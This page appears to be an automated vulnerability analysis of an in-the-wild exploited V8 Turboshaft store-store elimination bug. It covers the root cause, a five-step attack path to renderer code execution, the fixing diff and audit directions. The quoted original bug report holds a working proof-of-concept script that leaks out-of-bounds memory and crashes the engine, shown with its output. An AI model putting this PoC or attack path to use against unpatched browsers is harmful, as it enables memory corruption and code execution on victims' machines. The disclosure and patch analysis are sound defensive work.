Overview

High
Severity
8.8
CVSS
Yes
Exploited ITW
Fixed
Fix Status
ImpactOut of bounds read and write in V8
DescriptionOut of bounds read and write in V8
ComponentV8
Sub-componentTurbofan
Bug ClassOOB
Action tierpatch-now — exploited in the wild / KEV (itw) — real-world evidence overrides analysis — upheld by independent review by AI
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Independent review by AIConfirmed
A second, independent AI reviewer (not a human) re-derived this analysis from the fixing commit and the vendor advisory, looking for errors.
Tracker420636529
Fix commit7bc0a67ebfbf (v8/v8) +13/-7
CWECWE-125, CWE-787 (Out-of-bounds read, Out-of-bounds write)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVListed
CreditedClement Lecigne and Benoît Sevens of Google Threat Analysis Group
Reported2025-05-27 (per vendor advisory)
Fix landed2025-05-27 (public git)
Disclosed2025-06-02
Patch gap6 days — fix public in source before the advisory

Background

Turboshaft
V8’s newer TurboFan-generation IR and optimization pipeline where the store-store elimination pass runs.
Store-store elimination
an optimization that removes a store whose written value is guaranteed to be overwritten or never read (unobservable) before any observing access.
Alias analysis
the reasoning that decides whether two memory accesses may refer to the same location, gating whether a store can be considered unobservable.
Fixed-offset vs. dynamically indexed access
a store/load with no valid index() targets a constant field offset, whereas one with a valid index() computes its address from a runtime index and can touch many offsets.

Root Cause Analysis

When the pass walks backward and encounters a load, it must mark any earlier store that could feed that load as observable so the store is not eliminated. In the buggy code, MarkPotentiallyAliasingStoresAsObservable(load.base(), load.offset) was only invoked when the load was both on-heap and a fixed-offset load (is_on_heap_load && is_field_load). A dynamically indexed load (valid index()) therefore fell through and marked nothing, even though its runtime-computed address can alias any fixed offset on the same base object.

As a result, a store to a fixed field that is actually read back through an indexed load was wrongly classified as kUnobservable and eliminated.

The fix renames the concept to is_fixed_offset_load and adds an else branch that calls MarkAllStoresAsObservable() for any on-heap dynamically indexed load, conservatively preserving all fixed-offset stores it might alias.

Key insight
A dynamically indexed load can read the same memory as a fixed-offset store, so failing to treat the indexed load as a possible alias let the optimizer delete a live store — turning a legal program into one with stale or corrupted memory contents.

Attack Path

  1. Craft aliasing pattern Build JavaScript that stores a value to a fixed object field and later reads that same location through a dynamically indexed load on the same base.
  2. Trigger JIT Make the function hot so Turboshaft compiles it and runs store-store elimination.
  3. Provoke wrong elimination The indexed load fails to mark the fixed-offset store observable, so the optimizer removes the store, leaving memory in an unintended state.
  4. Corrupt object state Use the resulting stale/incorrect value (e.g. a length, backing-store pointer, or type field) to build an out-of-bounds read/write primitive.
  5. Escalate Leverage the OOB primitive for arbitrary read/write and code execution in the renderer.

Impact Assessment

An attacker who lures a victim to a malicious page gains an out-of-bounds memory access primitive inside the V8/renderer process, which can be developed into arbitrary read/write and remote code execution in the sandboxed renderer. Preconditions are minimal: only that the crafted JavaScript be JIT-compiled by Turboshaft. This vulnerability was exploited in the wild as a 0-day.

Changed Functions

FunctionChangeNotes
if
src/compiler/turboshaft/store-store-elimination-reducer-inl.h
modified

Files Changed

  • src/compiler/turboshaft/store-store-elimination-reducer-inl.h

Audit Directions

  • Missing indexed-access alias handling
    Review every alias/observability decision for cases that special-case fixed-offset accesses and silently drop dynamically indexed ones; indexed accesses must alias conservatively.
  • Conservative-default omissions
    Look for optimizer passes where an unhandled access category defaults to “no effect” rather than “worst case,” which is the pattern that enabled this elimination bug.
  • Base/offset assumptions
    Audit uses of load.offset/store.offset and index().valid() to ensure a valid index is never treated as equivalent to a known single offset.
From 7bc0a67ebfbf44e7adab47fc2bbbe308660e27f4 Mon Sep 17 00:00:00 2001
From: Leszek Swirski <leszeks@chromium.org>
Date: Tue, 27 May 2025 20:33:19 +0200
Subject: [PATCH] [turbofan] Weaken alias analysis in store-store elimination

Bug: 420636529
Change-Id: I7c5a8f47960708cecbb27d811eedc7f754933deb
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/6594051
Reviewed-by: Shu-yu Guo <syg@chromium.org>
Auto-Submit: Leszek Swirski <leszeks@chromium.org>
Commit-Queue: Leszek Swirski <leszeks@chromium.org>
Cr-Commit-Position: refs/heads/main@{#100530}
---

diff --git a/src/compiler/turboshaft/store-store-elimination-reducer-inl.h b/src/compiler/turboshaft/store-store-elimination-reducer-inl.h
index 45654a0..e058a41 100644
--- a/src/compiler/turboshaft/store-store-elimination-reducer-inl.h
+++ b/src/compiler/turboshaft/store-store-elimination-reducer-inl.h
@@ -325,10 +325,11 @@
           // TODO(nicohartmann@): Use the new effect flags to distinguish heap
           // access once available.
           const bool is_on_heap_store = store.kind.tagged_base;
-          const bool is_field_store = !store.index().valid();
+          const bool is_fixed_offset_store = !store.index().valid();
           const uint8_t size = store.stored_rep.SizeInBytes();
-          // For now we consider only stores of fields of objects on the heap.
-          if (is_on_heap_store && is_field_store) {
+          // For now we consider only stores of fixed offsets of objects on the
+          // heap.
+          if (is_on_heap_store && is_fixed_offset_store) {
             bool is_eliminable_store = false;
             switch (table_.GetObservability(store.base(), store.offset, size)) {
               case StoreObservability::kUnobservable:
@@ -415,11 +416,16 @@
           // TODO(nicohartmann@): Use the new effect flags to distinguish heap
           // access once available.
           const bool is_on_heap_load = load.kind.tagged_base;
-          const bool is_field_load = !load.index().valid();
+          const bool is_fixed_offset_load = !load.index().valid();
           // For now we consider only loads of fields of objects on the heap.
-          if (is_on_heap_load && is_field_load) {
-            table_.MarkPotentiallyAliasingStoresAsObservable(load.base(),
-                                                             load.offset);
+          if (is_on_heap_load) {
+            if (is_fixed_offset_load) {
+              table_.MarkPotentiallyAliasingStoresAsObservable(load.base(),
+                                                               load.offset);
+            } else {
+              // A dynamically indexed load might alias any fixed offset.
+              table_.MarkAllStoresAsObservable();
+            }
           }
           break;
         }
Loading diff…

Original Bug Report

reported by bs...@google.com

[0-day] Arbitrary read/write within the V8 sandbox via Turbofan

Vulnerability details

NOTE: Google Threat Analysis Group has evidence that the following bug is being used in the wild. Therefore, this bug is subject to Google’s 7 day disclosure deadline.

An arbitrary read/write within the V8 sandbox is possible via a bug in Turbofan.

Version

V8 at commit 610337a26087a854db49f7ab2346d64881ef6150 (May 23 2025)

Reproduction case

The following poc.js will leak data out of bounds and trigger a crash:

let ab = new ArrayBuffer(256);
let dv = new DataView(ab);  

function ftoi(t) {
  dv.setFloat64(0, t, true);
  return dv.getUint32(0, true) + dv.getUint32(4, true) * 0x100000000;
}

console.log('Leak memory');
function foo(i) {
  let a = [1.1, 1.1, 1.1];
  a[0] = a[i];
  return a[0];
}

let x;
while (true) {
  x = foo('0');
  if (x != 1.1) break;
}
console.log("x =", x, "=", "0x"+ftoi(x).toString(16));

console.log('Trigger crash');
function bar(i) {
  let a = [1.1, {}, 1.1];
  a[0] = a[i];
}

while (true) {
  bar('0');
}

Run with:

$ ./out/x64.release/d8 --verify-heap poc.js 
Leak memory
x = -8.864952837205469e-7 = 0xbeadbeefbeadc000
Trigger crash
Received signal 11 SEGV_ACCERR 0f72beac0000

==== C stack trace ===============================

/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v84base5debug10StackTraceC1Ev+0x13) [0x565528bcb0f3]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(+0x2aae042) [0x565528bcb042]
/lib/x86_64-linux-gnu/libc.so.6(+0x3fdf0) [0x7f8ced20bdf0]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v88internal12ReadOnlyHeap8ContainsENS0_6TaggedINS0_10HeapObjectEEE+0xe) [0x56552788fe4e]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v88internal10FixedArray16FixedArrayVerifyEPNS0_7IsolateE+0x64) [0x5655276d43b4]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v88internal6Object12ObjectVerifyENS0_6TaggedIS1_EEPNS0_7IsolateE+0x46) [0x5655276d25b6]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v88internal16HeapVerification12VerifyObjectENS0_6TaggedINS0_10HeapObjectEEE+0x61) [0x5655277da5e1]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZNK2v88internal17SemiSpaceNewSpace13VerifyObjectsEPNS0_7IsolateEPNS0_24SpaceVerificationVisitorE+0xbf) [0x56552787be2f]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZNK2v88internal17SemiSpaceNewSpace6VerifyEPNS0_7IsolateEPNS0_24SpaceVerificationVisitorE+0xf) [0x56552787bd0f]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v88internal16HeapVerification6VerifyEv+0x1f0) [0x5655277da080]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v88internal12HeapVerifier10VerifyHeapEPNS0_4HeapE+0x13e) [0x5655277e134e]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v88internal4Heap24PerformGarbageCollectionENS0_16GarbageCollectorENS0_23GarbageCollectionReasonEPKc+0x332) [0x5655277f98f2]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(+0x16f4677) [0x565527811677]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(+0x16f41cf) [0x5655278111cf]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(+0x1ffe92b) [0x56552811b92b]
[end of stack trace]
Segmentation fault (core dumped)

Credit information

Reporter credit: Clement Lecigne and Benoît Sevens of Google Threat Analysis Group

View on issue tracker